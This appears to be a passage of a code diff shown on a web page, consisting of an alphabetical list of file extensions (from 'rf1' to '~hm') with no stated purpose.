|
||||
rf1
|
||||
rfa
|
||||
rfo
|
||||
rge
|
||||
rgn
|
||||
rgo
|
||||
rmuf
|
||||
rnq
|
||||
rod
|
||||
rog
|
||||
roi
|
||||
rou
|
||||
rpp
|
||||
rpt
|
||||
rrt
|
||||
rsc
|
||||
rsd
|
||||
rsw
|
||||
rte
|
||||
rvt
|
||||
rwg
|
||||
rzb
|
||||
s85
|
||||
saf
|
||||
sam07
|
||||
sar
|
||||
sav
|
||||
sbd
|
||||
sbf
|
||||
sbq
|
||||
sbt
|
||||
sca
|
||||
scf
|
||||
sch
|
||||
sdb
|
||||
sdc
|
||||
sdf
|
||||
sdp
|
||||
sdq
|
||||
sds
|
||||
sen
|
||||
seo
|
||||
seq
|
||||
ser
|
||||
sgml
|
||||
sgn
|
||||
shp
|
||||
shs
|
||||
shx
|
||||
skc
|
||||
skv
|
||||
skx
|
||||
sle
|
||||
slk
|
||||
slp
|
||||
snapfireshow
|
||||
sonic
|
||||
soundpack
|
||||
spo
|
||||
sps
|
||||
spub
|
||||
spv
|
||||
sq
|
||||
sqd
|
||||
sql
|
||||
sqlite
|
||||
sqr
|
||||
sta
|
||||
stc
|
||||
stf
|
||||
stk
|
||||
stl
|
||||
stm
|
||||
stp
|
||||
str
|
||||
stt
|
||||
stw
|
||||
styk
|
||||
stykz
|
||||
swk
|
||||
sxc
|
||||
sxi
|
||||
sy3
|
||||
t01
|
||||
t02
|
||||
t03
|
||||
t04
|
||||
t05
|
||||
t06
|
||||
t07
|
||||
t08
|
||||
t09
|
||||
t2
|
||||
t3001
|
||||
tax2008
|
||||
tax2009
|
||||
tb
|
||||
tbk
|
||||
tbl
|
||||
tcc
|
||||
tcx
|
||||
tda
|
||||
tdl
|
||||
tdm
|
||||
tdt
|
||||
te
|
||||
te3
|
||||
teacher
|
||||
tef
|
||||
tet
|
||||
tfa
|
||||
tfd
|
||||
tfrd
|
||||
tjp
|
||||
tk3
|
||||
tkfl
|
||||
tmw
|
||||
tol
|
||||
topc
|
||||
tpb
|
||||
tps
|
||||
tr3
|
||||
tra
|
||||
trd
|
||||
trk
|
||||
trs
|
||||
trx
|
||||
tst
|
||||
tsv
|
||||
ttk
|
||||
txa
|
||||
txd
|
||||
txf
|
||||
uccapilog
|
||||
ud
|
||||
udb
|
||||
udeb
|
||||
uds
|
||||
ulf
|
||||
ulz
|
||||
update
|
||||
upoi
|
||||
usr
|
||||
uvf
|
||||
uwl
|
||||
val
|
||||
vbpf1
|
||||
vcd
|
||||
vce
|
||||
vcf
|
||||
vcs
|
||||
vdb
|
||||
vdx
|
||||
vfs
|
||||
vi
|
||||
vip
|
||||
vle
|
||||
vlg
|
||||
vmt
|
||||
voi
|
||||
vok
|
||||
vrd
|
||||
vscontent
|
||||
vsx
|
||||
vtx
|
||||
vxml
|
||||
w02
|
||||
wab
|
||||
wb1
|
||||
wb2
|
||||
wb3
|
||||
wdb
|
||||
wdq
|
||||
wea
|
||||
wfd
|
||||
wfm
|
||||
wgp
|
||||
wgt
|
||||
windowslivecontact
|
||||
wjr
|
||||
wk1
|
||||
wk2
|
||||
wk3
|
||||
wk4
|
||||
wk5
|
||||
wke
|
||||
wki
|
||||
wks
|
||||
wku
|
||||
wlmp
|
||||
wmdb
|
||||
wor
|
||||
wpc
|
||||
wpf
|
||||
wpo
|
||||
wq1
|
||||
wq2
|
||||
wtb
|
||||
wtr
|
||||
xbk
|
||||
xdb
|
||||
xdp
|
||||
xds
|
||||
xef
|
||||
xem
|
||||
xfd
|
||||
xfo
|
||||
xft
|
||||
xl
|
||||
xlc
|
||||
xlgc
|
||||
xlr
|
||||
xls
|
||||
xlsb
|
||||
xlsm
|
||||
xlsx
|
||||
xlt
|
||||
xltm
|
||||
xltx
|
||||
xlw
|
||||
xmcd
|
||||
xml
|
||||
xmlper
|
||||
xmpz
|
||||
xpg
|
||||
xpj
|
||||
xpm
|
||||
xpt
|
||||
xrp
|
||||
xsl
|
||||
xslt
|
||||
xsn
|
||||
xtm
|
||||
xtp
|
||||
xxd
|
||||
yam
|
||||
zap
|
||||
zdb
|
||||
zdc
|
||||
zix
|
||||
zmc
|
||||
zpl
|
||||
{pb
|
||||
~hm
|
||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue